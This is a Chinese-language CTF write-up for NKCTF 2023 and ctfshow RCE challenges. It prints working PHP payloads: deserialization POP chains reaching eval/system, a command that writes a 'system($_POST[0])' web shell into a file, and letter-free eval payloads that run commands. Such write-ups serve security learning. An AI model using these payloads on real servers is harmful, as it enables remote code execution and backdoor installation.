2023 NKCTF
Posted kkkkl
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2023 NKCTF相关的知识,希望对你有一定的参考价值。
2023 NKCTF
打了一下 NKCTF 有几个不知道的点 把自己认为值得记录的题写一下
babyphp
<?php
error_reporting(0);
class Welcome
public $name;
public $arg = \'oww!man!!\';
public function __construct()
$this->name = \'ItS SO CREAZY\';
public function __destruct()
if($this->name == \'welcome_to_NKCTF\')
echo $this->arg;
function waf($string)
if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
die("you are bad");
class Happy
public $shell;
public $cmd;
public function __invoke()
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
class Hell0
public $func;
public function __toString()
$function = $this->func;
$function();
if(isset($_GET[\'p\']))
unserialize($_GET[\'p\']);
else
highlight_file(__FILE__);
?>
这里过滤了 f l a g ? *
解法一
这几个字符 这里我们可以直接 把 $shell 赋值为 urldecode 然后 把 $cmd 赋值为 system($_POST[0]);
<?php
error_reporting(0);
class Welcome
public $name;
public $arg = \'oww!man!!\';
public function __construct()
$this->name = \'ItS SO CREAZY\';
public function __destruct()
if($this->name == \'welcome_to_NKCTF\')
echo $this->arg;
function waf($string)
if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
die("you are bad");
class Happy
public $shell;
public $cmd;
public function __invoke()
// phpinfo();
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
class Hell0
public $func;
public function __toString()
// phpinfo();
$function = $this->func;
$function();
$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="urldecode";
$Happy->cmd="system(\\$_POST[0]);";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;
echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');
解法二
还有一种方法是
$Happy->shell="system";
$Happy->cmd="cd /;`more dir`";
解法三
使用 sed 命令 sed 有个新增命令 sed -e 4a\\xxxxxx xxxxx为要新增的内容 4a 是要在第四行 进行插入
但是 4a这里是由a的 所以不可以 但是可以用
sed -n \'1,38p\' index.php > 5.php 然后这里再用 追加写入 >> 来写 system($_POST[0]);
<?php
error_reporting(0);
class Welcome
public $name;
public $arg = \'oww!man!!\';
public function __construct()
$this->name = \'ItS SO CREAZY\';
public function __destruct()
if($this->name == \'welcome_to_NKCTF\')
echo $this->arg;
function waf($string)
if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
die("you are bad");
class Happy
public $shell;
public $cmd;
public function __invoke()
// phpinfo();
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
class Hell0
public $func;
public function __toString()
// phpinfo();
$function = $this->func;
$function();
$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="system";
//$Happy->cmd="sed -n \'1,38p\' index.php > 5.php";
$Happy->cmd="echo \'system(\\$_POST[0]);\' >> 5.php";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;
echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');
解法四
这种解法是在p牛的文章里面提到过
linux 中的 通配符不止只有 * 和 ?还有一种类似于正则的通配符 [!q] 这里代表匹配非q字符
<?php
error_reporting(0);
class Welcome
public $name;
public $arg = \'oww!man!!\';
public function __construct()
$this->name = \'ItS SO CREAZY\';
public function __destruct()
if($this->name == \'welcome_to_NKCTF\')
echo $this->arg;
function waf($string)
if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
die("you are bad");
class Happy
public $shell;
public $cmd;
public function __invoke()
// phpinfo();
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
class Hell0
public $func;
public function __toString()
// phpinfo();
$function = $this->func;
$function();
$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="system";
//$Happy->cmd="sed -n \'1,38p\' index.php > 5.php";
$Happy->cmd="more /[!q][!q][!q][!q]";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;
echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');
hardphp
<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'NKCTF\']))
$NK = $_POST[\'NKCTF\'];
if (is_string($NK))
if (!preg_match("/[a-zA-Z0-9@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$NK) && strlen($NK) < 105)
eval($NK);
else
echo("hacker!!!");
else
phpinfo();
?>
经典的 无数字字母 rce
通过 ctfshow 的rce大挑战来总结一下
rce1
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST[\'code\'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
这里把 ( . 过滤掉了 然后 可以用php中的反引号来执行系统命令
这里要先闭合 之前的php标签 在使用 php短标签 当然也可以使用echo
dir;
rce2
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'ctf_show\']))
$ctfshow = $_POST[\'ctf_show\'];
if (is_string($ctfshow))
if (!preg_match("/[a-zA-Z0-9@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
就跟我们平常使用的paylaod
<?php
$_=[].[];
$_=$_[\'\'];
$_++;
$_++;
$_++;
$_++;
$__=$_;
$_++;
$_++;
$__=$_.$__;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$__=$__.$_;
$\'_\'.$__[_]($\'_\'.$__[__]);
构造出GET 然后拼接 $ 和 _ 得到 $GET(_)($GET[__]); 用到不同的是 它禁用了
所有我们就不能通过这种 $ _ GET 拼接的方式了 这里不使用 的话还用 另一种拼接方式
_GET 然后再前面直接加$ 就可以得到$GET 然后拼接[_]
然后用 () 包裹住 实例
($$___[_])($$___[__]);
完整的poc
<?php
$_=[].[];$__=\'\';
$_=$_[\'\'];
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_;
$_=++$_;
$_=++$_;
$__=$_.$__;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_;
$___=\'_\';
$___.=$__;
($$___[_])($$___[__]);
总结一下 如果没有 的话就可以 先 拼接出_GET
然后直接加$ 就可以了 要 url编码传过去
rce3
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'ctf_show\']))
$ctfshow = $_POST[\'ctf_show\'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105)
if (!preg_match("/[a-zA-Z2-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
这次加了 长度限制 然后又 过滤了 更多的字符
$ ( ) + , . / 0 1 ; = [ ] _
过滤了 引号 那如何 获取 A 字符呢 但是这里我们可以使用 01 了
这里可以使用 0 和1 先 看几个知识点
php在进行计算的时候 认为结果是无限大的时候他会返回结果是INF (infinite)
举例 echo (1/0) 就会输出INF
PHP进行计算的时候认为一个数超出Infinite,那就是: NAN( not-a-number)
这里举个例:echo (a/a); 就会输出NAN
因为这里有允许我们使用01 所以我们可以使用 01 来取上面的东西
这里直接取的话 会返回空 这里可以拼接一个 A就可以 取出来了
取出N的话就可以直接用POST来执行了
<?php
$_=([].[])[0];
$_=($_/$_)[0];
$_=($_/$_.$_)[0];
$_++;
$__=$_.$_++;
$_++;
$_++;
$_++;
$_=_.$__.$_.++$_;
$$_[_]($$_[1]);
<?php
$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);
rce4
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'ctf_show\']))
$ctfshow = $_POST[\'ctf_show\'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84)
if (!preg_match("/[a-zA-Z1-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
先看过滤
$ ( ) + , . / 0 ; = [ ] _
并且限制了 84个字符
<?php
$_=((0/0).[])[0];
$_++; //O
$__=$_.$_++; // $__=PO, 其实这里才是第五题的关键嘿嘿,很多74的就是卡在这
$_++; // Q
$_++; // R
$_++; // S
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);
rce5
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'ctf_show\']))
$ctfshow = $_POST[\'ctf_show\'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73)
if (!preg_match("/[a-zA-Z0-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
$ ( ) + , . / ; = [ ] _
限制 73位
这里就用了一些特殊字符了 因为用 __ 会 多几个字符 这里可以使用 不可见字符
$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=whoami
<?php
$_=(_/_._)[_];
$_++;
$%FA=$_.$_++; //这里为PO
$_++;$_++;
$_=_.$%FA.++$_.++$_;
$$_[_]($$_[%FA]);
这个已经完全看不懂了
<?PHP
$_=_(%FA.%FA)[_];//N //本地使用就用(_._._)[_],或者安装了一个扩展gettext
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])
//将拼接放到同一行,真的太厉害了,我只能感叹一句nb
以上是关于2023 NKCTF的主要内容,如果未能解决你的问题,请参考以下文章
NKCTF 2023 Writeup By AheadSec